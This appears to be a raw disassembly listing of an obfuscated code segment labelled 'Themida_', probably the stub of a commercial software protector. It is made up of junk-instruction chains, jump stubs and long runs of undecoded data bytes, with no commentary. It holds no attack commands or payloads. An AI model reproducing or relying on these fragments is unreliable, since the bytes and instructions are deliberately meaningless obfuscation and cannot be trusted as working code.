0E9000000h dd 0FFFFE705h, 3FBEBBh, 38C4E912h, 0B4B80000h, 0E91F6D67h dd 0FFFF1E09h ; --------------------------------------------------------------------------- loc_55F2EC: ; CODE XREF: Themida_:00562313j mov ebp, 2BA45B3Fh mov ecx, 2BA45B43h sub ecx, ebp jmp loc_5612EB ; --------------------------------------------------------------------------- db 81h, 0C3h, 54h dd 293CAD0Dh, 54EB81CBh, 8B3CAD0Dh, 0C481240Ch, 4, 8B241C87h dd 4892424h, 2434FF24h, 5197E9h, 40500h, 0BF570000h, 4 dd 875FF801h, 0EDE92404h, 89FFFF13h, 0A9B7241Ch, 8004EFC0h dd 0DDE940CFh, 53FFFF6Fh, 657760BBh, 5BD8894Ch, 0F11DE905h dd 40D0F747h, 2EB28605h, 0E9C72914h, 0FFFF2D12h, 0C7E9425Dh db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F36F: ; CODE XREF: Themida_:005584B4j pop eax sub ebp, 51900135h add ebp, esi add ebp, 51900135h jmp loc_55D1EF ; --------------------------------------------------------------------------- db 2Dh dd 5BBD7DD2h, 0D205E829h, 5D5BBD7Dh, 118CE9h, 88EE8800h dd 0E2885AF4h, 5540E9h, 8BD80100h, 0C481241Ch, 4, 38428F50h dd 4EC8358h, 68242C89h, 76874B2Dh, 0EDC14D5Dh, 29CAE906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F3C6: ; CODE XREF: Themida_:005521A6j and edx, 6F675ED3h xor edx, 13580FAAh sub edx, 325801A7h add edi, edx pop edx push ecx push esi mov esi, 4 mov ecx, esi pop esi sub edi, 0C7577F0h jmp loc_564717 ; --------------------------------------------------------------------------- dd 4302E3C1h, 0FF1A5DE9h, 5A7CBDFFh, 0B805427Eh, 0E9694D49h dd 0FFFFB5CBh, 80D6F680h, 2EE90DEBh db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F413: ; CODE XREF: Themida_:00564C5Fj add esp, 4 jmp loc_559562 ; --------------------------------------------------------------------------- db 56h dd 4BEh, 24740100h, 815D5E04h, 4C5h, 4EC8100h, 0E9000000h dd 3343h, 0E289525Ch, 4C281h, 44680000h, 8900001Ch, 4B9240Ch dd 81000000h, 193AFEC2h, 58B5E97Dh, 9C500000h, 0FF03B5E9h dd 658BBEFFh, 0F72152FDh, 0CF7815Eh, 2D026065h, 7E82841h dd 0E952F801h, 0FFFF1817h, 0FD394BBBh, 0C2C68129h, 0E9643B11h dd 0FFFF9B65h, 8124048Bh, 4C4h, 0C742E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F49A: ; CODE XREF: Themida_:0055A168j sub ebp, 4 jmp loc_55B84B ; --------------------------------------------------------------------------- loc_55F4A5: ; CODE XREF: Themida_:00551542j add esp, 4 mov ecx, [esp] jmp loc_555693 ; --------------------------------------------------------------------------- dd 8BC1295Eh, 96E92404h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F4BB: ; CODE XREF: Themida_:00554741j xchg ebp, [esp] jmp loc_5610B1 ; --------------------------------------------------------------------------- db 83h dd 505604C4h, 6835F868h, 24048B67h, 4C481h, 3EE90000h dd 0C1FFFF4Dh, 0BB5306E0h, 642C0F7Ch, 0C383DBF7h, 0BF574B01h dd 21F476DFh, 91B6E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F4F6: ; CODE XREF: Themida_:00552F48j pop esp jmp loc_5593CC ; --------------------------------------------------------------------------- dd 0E4B68h, 24048900h, 59B85053h, 0E943AD6Eh, 0FFFF1D66h ; --------------------------------------------------------------------------- loc_55F510: ; CODE XREF: Themida_:00552B09j mov edx, [esp] sub esp, 4 mov [esp], edi mov edi, esp push esi jmp loc_55DEAD ; --------------------------------------------------------------------------- dd 8904EC83h, 4BF243Ch, 81000000h, 40980E9h, 0E9F90132h dd 0FFFF14B7h ; --------------------------------------------------------------------------- loc_55F53C: ; CODE XREF: Themida_:005593AAj mov eax, 62754770h shl eax, 2 push edi mov edi, 668841E4h shl edi, 2 add edi, 174D7543h push ebp jmp loc_55602A ; --------------------------------------------------------------------------- db 81h, 0E9h, 0E8h dd 0E92B4266h, 0FFFFE69Bh, 0D0885051h, 88C68852h, 34FF5AF1h dd 46685824h, 0E9000057h, 0FFFF6FA8h, 19CABB53h, 0E3C137C6h dd 0FE66E905h, 8B54FFFFh, 77E9242Ch db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F593: ; CODE XREF: Themida_:00552AE6j pop ecx add ecx, 4 push 1A8Bh mov [esp], edi push ecx mov ecx, 3F5F5A7Ah mov edi, 39CC44B5h xor edi, ecx mov ecx, [esp] add esp, 4 push 7521h mov [esp], edx mov edx, 40620544h sub edi, edx mov edx, [esp] add esp, 4 push ebx mov ebx, 362739EFh jmp loc_554633 ; --------------------------------------------------------------------------- db 89h dd 0E2892414h, 0FF3FCBE9h, 555D5EFFh, 2BDh, 5DEF0100h dd 5C243C87h, 0E9028864h, 0FFFF5082h, 5FE9D4B2h, 59FFFF58h dd 2510BB53h, 0B8500E89h, 1E111858h, 4049E625h, 0D3F7930Dh dd 3BE4E993h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F61E: ; CODE XREF: Themida_:0055C266j add ebx, edx pop edx add ebx, edi push esi jmp loc_563045 ; --------------------------------------------------------------------------- db 81h, 0F6h, 0D2h dd 0E96EE43Dh, 0FFFF085Dh, 31242C33h, 0FAE9242Ch, 83FFFF3Fh dd 0C18304C4h, 240C8704h, 5624248Bh, 0FF45EFE9h, 57E981FFh dd 833E9F3Eh, 0D9F701E9h, 0A1E5E941h, 487FFFFh, 0E623E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F66A: ; CODE XREF: Themida_:00562A8Bj push ecx mov ecx, esp push ebx mov ebx, 4 jmp loc_55623C ; --------------------------------------------------------------------------- loc_55F678: ; CODE XREF: Themida_:00562143j sub esp, 4 mov [esp], ecx mov ecx, 0D855FB2Fh xor esi, ecx pop ecx jmp loc_562895 ; --------------------------------------------------------------------------- db 0B8h dd 3A875416h, 0C105E8C1h, 0C30502E0h, 21723390h, 0A9E958C1h db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F6A3: ; CODE XREF: Themida_:005538FCj add ecx, 31C82BC5h add ecx, edi jmp loc_55E187 ; --------------------------------------------------------------------------- loc_55F6B0: ; CODE XREF: Themida_:0055571Bj or eax, 1C9566AAh push ebx jmp loc_55653F ; --------------------------------------------------------------------------- db 1 dd 49DFE9EEh, 0FB89FFFFh, 0DCC3815Fh, 291B30B4h, 0E2A4E9DDh dd 0B135FFFFh, 0E92AE6EFh, 250Bh, 2414F766h, 0A2685B66h dd 0E9000003h, 0FFFF29BAh ; --------------------------------------------------------------------------- loc_55F6EC: ; CODE XREF: Themida_:00552B36j xor [esp], ebx xor ebx, [esp] jmp loc_555F8A ; --------------------------------------------------------------------------- loc_55F6F7: ; CODE XREF: Themida_:00558FD2j jz loc_55CD62 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edx push 1Ch pop edx sub edx, 7AA66F83h jmp loc_55805C ; --------------------------------------------------------------------------- loc_55F723: ; CODE XREF: Themida_:0055CDBFj xchg esi, [esp] mov esp, [esp] or edx, eax shl edx, 1 jmp loc_55C22E ; --------------------------------------------------------------------------- dw 95Ch dd 0EB815FFBh, 7A252B73h, 5202EBC1h, 472EB850h, 48BA44A3h dd 298CC3FFh, 0D33158C2h, 1D47E95Ah, 2C31FFFFh, 242C3324h dd 0E924248Bh, 0FFFF00B2h ; --------------------------------------------------------------------------- loc_55F764: ; CODE XREF: Themida_:0055BDF8j add ecx, 0FFFFFFFFh not ecx push esi mov esi, 273407D4h add ecx, esi pop esi mov esi, ecx mov ecx, [esp] add esp, 4 and eax, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_55ACD9 ; --------------------------------------------------------------------------- loc_55F788: ; CODE XREF: Themida_:005642F2j push 680Bh mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_55BEB0 ; --------------------------------------------------------------------------- db 53h dd 4F55FCBBh, 0FCB8134h, 4352C833h, 1DE7F381h, 0C38374A3h dd 0C9F381FFh, 293ECE4Dh, 0D5F75BDDh, 0EAA2ED81h, 0C681E455h dd 19742E5Dh, 0EE81EE29h, 19742E5Dh, 74FF565Dh, 0D0E90424h dd 81000046h, 3D04246Ch, 5B03D47Ch, 4C6815Eh, 81000000h dd 4ECh, 241C8900h, 330147BBh, 3EBC129h, 5DD9E943h, 0E957FFFFh dd 0FFFF5F7Bh, 0E904C483h, 0FFFF37D8h, 405h, 40500h, 0FF500000h dd 0E9042474h, 3CDFh, 0E1C0A3B1h, 83E98007h, 8059CE30h dd 0EE807ACEh, 0FFEE8001h, 0FFFBC3E9h, 9AF581FFh, 0E96C2526h dd 33F7h, 33241431h, 0E95C2414h, 0FFFEFFBAh ; --------------------------------------------------------------------------- loc_55F85C: ; CODE XREF: Themida_:0055C136j pop eax add esp, 4 jmp loc_55CD62 ; --------------------------------------------------------------------------- loc_55F865: ; CODE XREF: Themida_:0055602Fj xor edi, ebp jmp loc_553D5D ; --------------------------------------------------------------------------- loc_55F86C: ; CODE XREF: Themida_:00550956j mov ecx, 4FF93C6Dh xor ecx, 4FF93C69h add esi, ecx pop ecx push ebx jmp loc_55CDB7 ; --------------------------------------------------------------------------- dd 6552CCBBh, 6E3C12Bh, 0B304F381h, 82E9D954h, 66FFFF79h dd 9C241CF7h, 0FEFF79E9h, 4EC81FFh, 89000000h, 74FF2434h dd 8F5E0424h, 248B2404h, 47A1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F8B6: ; CODE XREF: Themida_:0056010Ej add edi, esi jmp loc_55CAEC ; --------------------------------------------------------------------------- db 5Bh, 0F7h, 0D5h dd 1668CD81h, 0C58131B9h, 0A9498163h, 2C8BEE29h, 4C48324h dd 0FF538FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F8D9: ; CODE XREF: Themida_:0055B62Fj add ebx, esi jmp loc_564400 ; --------------------------------------------------------------------------- loc_55F8E0: ; CODE XREF: Themida_:0055A5C1j mov ecx, edx pop edx jmp loc_561DA2 ; --------------------------------------------------------------------------- dd 2BF575Eh, 318BF2CAh, 0CAF1E9F8h, 0F668FFFFh, 89000060h dd 15E9241Ch, 87FFFFD9h, 95C2404h, 48B1C47h, 2D7E6824h dd 14890000h, 81E28924h, 4C2h, 4B5BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F922: ; CODE XREF: Themida_:0055785Dj mov ecx, [esp] add esp, 4 or esi, 147C390Ch inc esi shl esi, 7 add esi, 377A4B45h and eax, esi pop esi xor eax, 7EDF0937h shr eax, 8 shl eax, 1 push edi jmp loc_563BD7 ; --------------------------------------------------------------------------- db 89h dd 0E6892434h, 8904EC83h, 0BA52240Ch, 73206DA3h, 0DA14B850h dd 0CAE9A502h, 83000015h, 2C8704C5h, 0BD555C24h, 12974D10h dd 0FF7FFCE9h, 3E3C1FFh, 0D1BF57h, 0CF812C64h, 1EEB71B2h dd 0C329C781h, 0FB0138FAh, 48C3815Fh, 0E9982BF5h, 229Dh ; --------------------------------------------------------------------------- loc_55F99C: ; CODE XREF: Themida_:00563EFBj pop ebx xor edx, [esp] xor [esp], edx jmp loc_560BCF ; --------------------------------------------------------------------------- dd 0A692E95Fh, 48FFFFFh, 24248B24h, 0E9241489h, 0FFFF4E90h ; --------------------------------------------------------------------------- loc_55F9BC: ; CODE XREF: Themida_:00551007j push dword ptr [esp] pop eax push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebp mov ebp, esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push 4 pop ebx sub ebp, 3098730Ch sub ebp, 63D66B4h sub ebp, 1840381Fh add ebp, ebx add ebp, 1840381Fh add ebp, 63D66B4h add ebp, 3098730Ch mov ebx, [esp] add esp, 4 push edi mov edi, 0AE43D6Ch sub edi, 0AE43D68h jmp loc_55D197 ; --------------------------------------------------------------------------- db 89h dd 0D6F75FFEh, 560DF681h, 0F68124DAh, 59DB6C99h, 15EBC381h dd 0C38142FFh, 512F0239h, 0CD5EB81h, 68573642h, 16B53DDAh dd 4C31E95Fh, 0FA29FFFFh, 5AD7895Fh, 80A22BBEh, 8BFE0118h dd 0C483243Ch, 574E4604h, 0E4FE9BFh, 83E9515Eh db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FA7F: ; CODE XREF: Themida_:005584F2j pop edx neg edi and edi, 0A196C66h push ebx mov ebx, 24172A48h and edi, ebx pop ebx sub edi, 0EC9375C3h add eax, edi pop edi xor esi, eax pop eax add esi, 0B7444B35h and eax, esi pop esi or eax, eax jz loc_553B22 push dword ptr [edi+1Ch] push 3750h mov [esp], edi push esp pop edi push edx mov edx, 44827A9Ah jmp loc_55219B ; --------------------------------------------------------------------------- dw 0E02Dh dd 29328ABCh, 815F58C3h, 4ECh, 240C8900h, 4B9h, 59CB2900h dd 31241C33h, 1C33241Ch, 0D546E924h, 5ADFFFFh, 1A9C6AF0h dd 0BC68D829h, 89000042h, 0E952240Ch, 0FFFF58BBh, 2807C380h dd 24048BE3h, 4C481h, 0EC830000h, 4896602h, 84B35324h dd 0C0CDC380h, 0E3C005EBh, 80D3F608h, 0F5E93FF3h, 9FFFF2Dh dd 0F58159CDh, 99DC055Eh, 48E9E989h, 89FFFFF5h, 74FF2404h dd 8F580424h, 248B2404h, 7E10E924h, 481FFFFh, 424h, 24148B00h dd 4C481h, 0EC810000h, 4, 0E9243C89h, 0FFFFA452h, 12D7B951h dd 0E1C110DFh, 49D1F708h, 3C3FE9h, 5DEB8900h, 1C8BDD29h dd 4C48324h, 31242C33h, 15E9242Ch, 1FFFF3Bh, 0D3682404h dd 8900005Ah, 0BF57240Ch, 20C60307h, 0C014F2B9h, 5FF9294Ah dd 40F18141h, 0E91AC814h, 0FFFFA096h, 703D09BFh, 5FFE296Eh dd 814EEED1h, 903836F6h, 0A1EE814Ch, 31CA354Eh, 0D3015EF2h dd 8124148Bh, 4C4h, 2BE5600h, 1000000h, 24348BF3h, 4C481h dd 1C330000h, 3DD3E924h, 34890000h, 7082BE24h, 0C6811782h dd 1B497B4Dh, 0FFEE29E9h, 88E950FFh, 0FE000040h, 0E9D1F6C1h dd 0FFFF26A8h ; --------------------------------------------------------------------------- loc_55FC1C: ; CODE XREF: Themida_:0055F26Ej pop edi add esp, 4 add [esp+4], edx jmp loc_55EF0A ; --------------------------------------------------------------------------- db 81h, 0C7h, 27h dd 8173E11Ch, 7F4779EFh, 86FE96Ch, 0E9580000h, 0FFFFA1A8h dd 0F5AE681h, 0EEC1321Bh, 0BD554602h, 1955135Ch, 33DBE94Dh dd 0F988FFFFh, 1CC6685Bh, 0CDE90000h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FC63: ; CODE XREF: Themida_:00555A31j xchg edi, [esp] jmp loc_5521F9 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78300h, 754768h, 243C8900h, 42474FFh, 24048F5Fh dd 5124248Bh, 0E9809FB1h, 8BCB2835h, 0C481240Ch, 4, 28DBEB80h dd 0DBC380C3h, 806AC380h, 0B60F48EBh, 8734FFC0h, 0E924048Bh dd 0FFFF74B3h, 81E28952h, 4C2h, 4C28100h, 87000000h, 815C2414h dd 4C2h, 9FEFE900h, 0D0F7FFFFh, 0FF6FDAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FCD9: ; CODE XREF: Themida_:00552561j add ecx, 65E85DB7h xor ecx, 221729D7h not ecx not ecx push eax mov eax, 42F81F51h jmp loc_553BA4 ; --------------------------------------------------------------------------- dd 240C895Ch, 0FEFB19E9h, 8BE931FFh, 8AE9242Ch, 0BDFFFF15h dd 2EE94B02h, 413BE9h, 0FCE95300h, 81FFFFD8h, 4C7h, 92E95600h dd 5B00000Ah, 5A66D300h, 2841EB80h, 41C380C3h, 5515EB80h dd 0FFD950E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FD39: ; CODE XREF: Themida_:005512DCj sub eax, edx push edi jmp loc_556CDA ; --------------------------------------------------------------------------- db 28h, 0F3h, 0E9h dd 46C1h, 81DEF746h, 2C77F4EEh, 31C9E950h, 0CABEFFFFh dd 2901066Bh, 0E8015EF0h, 23FEE9h, 14896600h, 9C506624h dd 0FEFAA5E9h, 0B7C280FFh, 0FFAC41E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FD79: ; CODE XREF: Themida_:0055710Ej mov eax, [esp] push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_552F45 ; --------------------------------------------------------------------------- loc_55FD8D: ; CODE XREF: Themida_:00563172j push eax mov eax, 4 sub ebp, 36994D52h add ebp, eax add ebp, 36994D52h jmp loc_562C88 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 5966E828h, 0C800D704h, 0FE73B353h, 0E9CBFEC3h dd 0FFFF23FCh, 192678BBh, 55F3811Ch, 310F7A17h, 241C8BDFh dd 8104C483h, 727C97E7h, 9CF2E969h, 0DD01FFFFh, 232DE9h dd 59E82800h, 20C768h, 24148900h, 0D03050B2h, 5A2434FFh dd 81E18951h, 4C1h, 392AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE06: ; CODE XREF: Themida_:0055C435j dec ecx jmp loc_55E547 ; --------------------------------------------------------------------------- dd 0E945D5F7h, 0FFFF8BC6h, 5C241487h, 0FF26CFE9h, 5EF529FFh dd 0FFB86CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FE25: ; CODE XREF: Themida_:00554732j add esp, 4 mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5579A7 ; --------------------------------------------------------------------------- dd 4EC815Ch, 89000000h, 0A0BA2414h, 51175363h, 6A16CBB9h dd 8F04E944h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE56: ; CODE XREF: Themida_:00561B52j sub ebp, 75D87CC2h push eax mov eax, 0 sub eax, 10A20F05h sub eax, ebp add eax, 10A20F05h push eax sub dword ptr [esp], 3900354Fh pop ebp push eax jmp loc_5542BC ; --------------------------------------------------------------------------- db 5Eh, 50h, 89h dd 405E0h, 0A2E90000h, 0BFFFFFEDh, 4, 0E95FF901h, 240Bh ; --------------------------------------------------------------------------- loc_55FE98: ; CODE XREF: Themida_:0055999Dj sub ebx, 0FFFFFFFFh sub ebx, 23A96CFEh push 6843h mov [esp], ebp jmp loc_55B46A ; --------------------------------------------------------------------------- dw 0FE28h dd 0C0BDB551h, 0C5FE04EDh, 0FF83A6E9h, 1C781FFh, 81000000h dd 52B573F7h, 5FFB89BBh, 0E95BDA01h, 0FFFF8297h ; --------------------------------------------------------------------------- loc_55FED4: ; CODE XREF: Themida_:00559AE1j or ebx, 1D9C6003h add ebx, 0D648354Fh jmp loc_553C4E ; --------------------------------------------------------------------------- db 81h, 0C3h, 0D5h dd 0E936420Ch, 0FFFF515Eh ; --------------------------------------------------------------------------- loc_55FEF0: ; CODE XREF: Themida_:0055377Dj mov [esp], edi jmp loc_555AD1 ; --------------------------------------------------------------------------- dd 5324048Fh, 4BBh, 245C0100h, 3039E904h, 0C4830000h, 39EFE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF12: ; CODE XREF: Themida_:0055B020j shl esi, 5 xor esi, 3DE012E0h sub ecx, esi jmp loc_5632C9 ; --------------------------------------------------------------------------- loc_55FF22: ; CODE XREF: Themida_:0054F8F8j div ecx push 25ADh mov [esp], edx push eax pushf jmp loc_562AFB ; --------------------------------------------------------------------------- loc_55FF33: ; CODE XREF: Themida_:00556FB0j not ecx xor ecx, 546E45E8h sub ecx, 0A6B38281h add ebx, ecx pop ecx add ebx, esi push edi jmp loc_563FAC ; --------------------------------------------------------------------------- dd 0E95BD829h, 0FFFF23B7h, 0A42CD000h, 147668h, 1615E900h dd 0C3010000h, 8124048Bh, 4C4h, 50535100h, 0B50EBB68h dd 1BE95842h, 8BFFFF61h, 9E9240Ch, 0F7FFFF95h, 38E981D9h dd 8714D955h, 87D2F7D1h, 5FBD55D1h, 290A8102h, 242C8BE9h dd 4C481h, 59E90000h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFA7: ; CODE XREF: Themida_:0055654Fj pop ebx or eax, 3DBF2199h add eax, 0C0000005h push ecx mov ecx, 40AD3004h jmp loc_557D52 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 13685366h, 0E9000001h, 0FFFF078Ah, 668BE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFD2: ; CODE XREF: Themida_:00562811j neg edi jmp loc_554DF6 ; --------------------------------------------------------------------------- loc_55FFD9: ; CODE XREF: Themida_:005627DDj push 1A91h mov [esp], ecx jmp loc_55D500 ; --------------------------------------------------------------------------- dw 0C483h dd 0EAC14204h, 0C792E907h, 0E868FFFFh, 89000061h, 0E6892434h dd 0FFA984E9h, 6DE92DFFh, 0BE2D195Dh, 0E957675Bh, 0FFFFE132h ; --------------------------------------------------------------------------- loc_560010: ; CODE XREF: Themida_:005613B2j mov edx, 4 jmp loc_55DD4A ; --------------------------------------------------------------------------- dw 0C083h dd 74AE904h, 0C6810000h, 1DA1628Dh, 98E9F089h, 83FFFFE6h dd 505204C4h, 0FFB27FE9h db 0FFh ; --------------------------------------------------------------------------- loc_560039: ; CODE XREF: Themida_:00557C96j add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 4737h mov [esp], esi jmp loc_562C74 ; --------------------------------------------------------------------------- dd 5C240C33h, 68241C89h, 6598h, 0E9243C89h, 0FFFF4172h dd 29D468h, 24048900h, 0F23675B8h, 43013538h, 5CE932F3h dd 0BAFFFFF4h, 51734826h, 280CE942h, 0E959FFFFh, 0FFFF156Eh dd 0F381434Bh, 4462683Fh, 0FFFEAFE9h, 5E04BBFFh, 62E96A6Ch db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5600A7: ; CODE XREF: Themida_:00563C89j pop esi sub edx, 4 jmp loc_555A36 ; --------------------------------------------------------------------------- db 31h dd 24348BF1h, 5204C483h, 8A0982BAh, 0A0E9550Eh, 5FFFFD5h dd 578C16EBh, 60A868h, 242C8900h, 0FFCC5EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5600D9: ; CODE XREF: Themida_:00553B37j pop esp mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5581C6 ; --------------------------------------------------------------------------- loc_5600F4: ; CODE XREF: Themida_:0056202Dj add edi, 4 sub esp, 4 mov [esp], esi mov esi, 4 add edi, 64C271EEh jmp loc_55F8B6 ; --------------------------------------------------------------------------- aFqEFyh1 db 'fQE(fYh1{',0 align 2 dw 0C89h dd 1957E924h, 0CA87FFFFh, 0E9CA8749h, 0FFFF237Ah, 88E9E389h dd 8B000030h, 89532414h, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 0E924248Bh, 0FFFF6C8Ch ; --------------------------------------------------------------------------- loc_560158: ; CODE XREF: Themida_:0055597Bj sub esp, 4 jmp loc_55D5AA ; --------------------------------------------------------------------------- db 53h dd 42474FFh, 24048F5Bh, 432EE95Ch, 3C87FFFFh, 24895C24h dd 0F4B95124h, 522AB618h, 6F1BDCBAh, 6134E91Ah, 0E3C1FFFFh dd 6EBC105h, 51FFC383h, 0FFCD6EE9h, 4C481FFh, 68000000h dd 36B6h, 0FFC759E9h db 0FFh ; --------------------------------------------------------------------------- loc_5601A9: ; CODE XREF: Themida_:0055E428j sub eax, 39D9723Eh push edi mov edi, 653B2406h inc edi dec edi neg edi xor edi, 4E107EDDh xor eax, edi pop edi add [esp+4], eax pop eax pop edx push 49E6h jmp loc_55F0B5 ; --------------------------------------------------------------------------- db 0B8h, 0D1h, 44h dd 0EDE92AECh db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5601DB: ; CODE XREF: Themida_:0055A3ECj push ebx pop esi pop ebx jmp loc_5636F3 ; --------------------------------------------------------------------------- db 5Fh dd 0FFFD79E9h db 0FFh ; --------------------------------------------------------------------------- loc_5601E9: ; CODE XREF: Themida_:00559751j and ebx, 65F53518h shl ebx, 4 or ebx, 399D41DFh jmp loc_56117D ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0CE36824h, 2C890000h, 56E58924h, 35FD68h, 24148900h dd 3442BE56h, 0EABA2557h, 1066F16h, 0F7925EF2h, 9BE992D0h dd 0BA00000Dh, 0E973AB6h, 0FFA9C8E9h, 241C8BFFh, 2BFFE952h dd 0C1810000h, 275F2D7Fh, 0FFAA08E9h, 4E981FFh, 87000000h dd 895C240Ch, 0BE56240Ch, 1E17763Eh, 364E68h, 24348900h dd 0E3242C81h, 5907FE7Fh, 7FE3C181h, 61E907FEh, 0C100002Dh dd 4BE903E6h, 89FFFF78h, 4812424h, 424h, 0E4685E00h, 8900001Ah dd 4682404h, 58000000h, 5358C601h, 2BBh, 0FFDE0100h, 505B2434h dd 0BB53E089h, 4, 0FF9B6DE9h, 240C89FFh, 0FFEE34E9h, 0B85052FFh dd 4E66E1Dh, 3439E9h, 4BF5700h, 1000000h, 42B9E9FEh, 0C1810000h dd 41DE3D12h, 0FFAF0DE9h, 243C89FFh, 0C781E789h, 4, 4EF81h dd 3E90000h, 33000021h, 34312434h, 24343324h, 0FFA2CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_560305: ; CODE XREF: Themida_:0055C8FDj push eax push edx mov edx, 74D14812h jmp loc_55254B ; --------------------------------------------------------------------------- db 81h, 0EBh, 57h dd 0E9A4B823h, 0FFFF65D4h ; --------------------------------------------------------------------------- loc_56031C: ; CODE XREF: Themida_:0055273Dj pop esp mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_5569FD ; --------------------------------------------------------------------------- db 5Eh, 55h, 0BDh dd 2, 38D7C781h, 0EF01760Ch, 0FFA0B7E9h, 0B7E981FFh, 0E9A65DAAh dd 0FFFF2BBFh, 81241C8Bh, 4C4h, 8688E900h, 0ABE9FFFFh dd 52FFFEF4h, 0E06844BAh, 0C0C28163h, 819C1F97h, 3B06B8C6h dd 81D6015Ch, 3B06B8EEh, 35B1E95Ch, 0EA81FFFFh, 5290B8Ch dd 0C0EA815Dh, 5D40A925h, 5F2434FFh, 4C481h, 24680000h dd 89000035h, 4B9240Ch, 81000000h, 0A307B9C2h, 81CA0146h dd 0A307B9EAh, 6DE1E946h, 4DB0FFFFh, 0C6309BB6h, 8124048Bh dd 4C4h, 12E68000h, 0FFDE2DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5603D9: ; CODE XREF: Themida_:0055EBBDj pop dword ptr [esp] jmp loc_55BF23 ; --------------------------------------------------------------------------- db 53h, 0BBh, 50h dd 0C12D7054h, 0F38107E3h, 0B87474E1h, 0E95BDA09h, 0FFFF953Dh dd 122AE941h, 0C529FFFFh, 1661ED81h, 0ED8156CAh, 5B1796Ch dd 8324048Bh, 0D50104C4h, 0FFBCCCE9h, 0ACE950FFh, 21FFFF58h dd 0BD555DEEh, 25690303h, 815DEE09h, 3F6EC5F6h, 55B8506Ah dd 3563FB03h, 59303295h, 0F8A8E948h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_560442: ; CODE XREF: Themida_:005534F0j add esp, 4 jmp loc_55419A ; --------------------------------------------------------------------------- aFy db '(fY',0 dw 58E6h dd 0FFFA55E9h, 71F7BDFFh, 81450EB1h, 4ECh, 241C8900h, 7C1817BBh dd 5BDD3140h, 1DE9h, 5EEC100h, 0C4DBA52h, 0A6E90EE6h db 5, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560483: ; CODE XREF: Themida_:00561C4Ej add esp, 4 add edi, 63628962h push edi jmp loc_5533CD ; --------------------------------------------------------------------------- dw 0BE56h dd 16031FF0h, 4F2FC681h, 0C8E90EA4h, 0AD000048h, 0B0CE9h dd 0F7EF8100h, 51331D29h, 0C62E34B9h, 4CE98157h, 0C101F86Ch dd 0E9C104E9h, 19CE906h, 0C381FFFFh, 4, 8704EB83h, 0E95C241Ch dd 0FFFF0B5Ch, 4EC83ADh, 0FF9C8CE9h, 45EDD1FFh, 0CAD8C581h dd 0EB01EBF1h, 4C3815Dh, 87000000h, 575C241Ch, 42474FFh dd 5F2434FFh, 47AFE9h, 5BDA8800h, 8058C200h, 0D3009FF2h dd 8124148Bh, 4C4h, 5BD82000h, 0FFBE72E9h, 24348BFFh, 4C481h dd 0EB810000h, 5392442Bh, 3F9ABE56h, 0EEC16CF6h, 0BE565105h dd 3F4D4BA4h, 227F1BB9h, 5EF1299Dh, 0E9C1D1F7h, 0F7494105h dd 0B7C181D1h, 0E904C907h, 0FFFFD90Ah ; --------------------------------------------------------------------------- loc_56055C: ; CODE XREF: Themida_:00560DE6j mov [esp], eax push 4CAD57F6h mov eax, [esp] push ebp mov ebp, esp jmp loc_552827 ; --------------------------------------------------------------------------- db 57h dd 5F2414F7h, 1075CF81h, 0F75775C3h, 0C15F2414h, 0F78102E7h dd 8F0980Ch, 7D3DEE81h, 0FE013744h, 7D3DC681h, 2E93744h dd 89FFFF88h, 5A542414h, 0C7BB5355h, 4B2DCF22h, 2BDFEB81h dd 41E9616Bh, 89FFFFCAh, 5F54243Ch, 0FF74BBE9h, 76BE56FFh dd 68289047h, 5DA7h, 0B9240C89h, 0E01F063Eh, 2959CE29h dd 4F095EF1h, 37E9591Ch, 59FFFEF2h, 6B5C781h, 51521ED8h dd 5E7191B9h, 9B88BA0Ah, 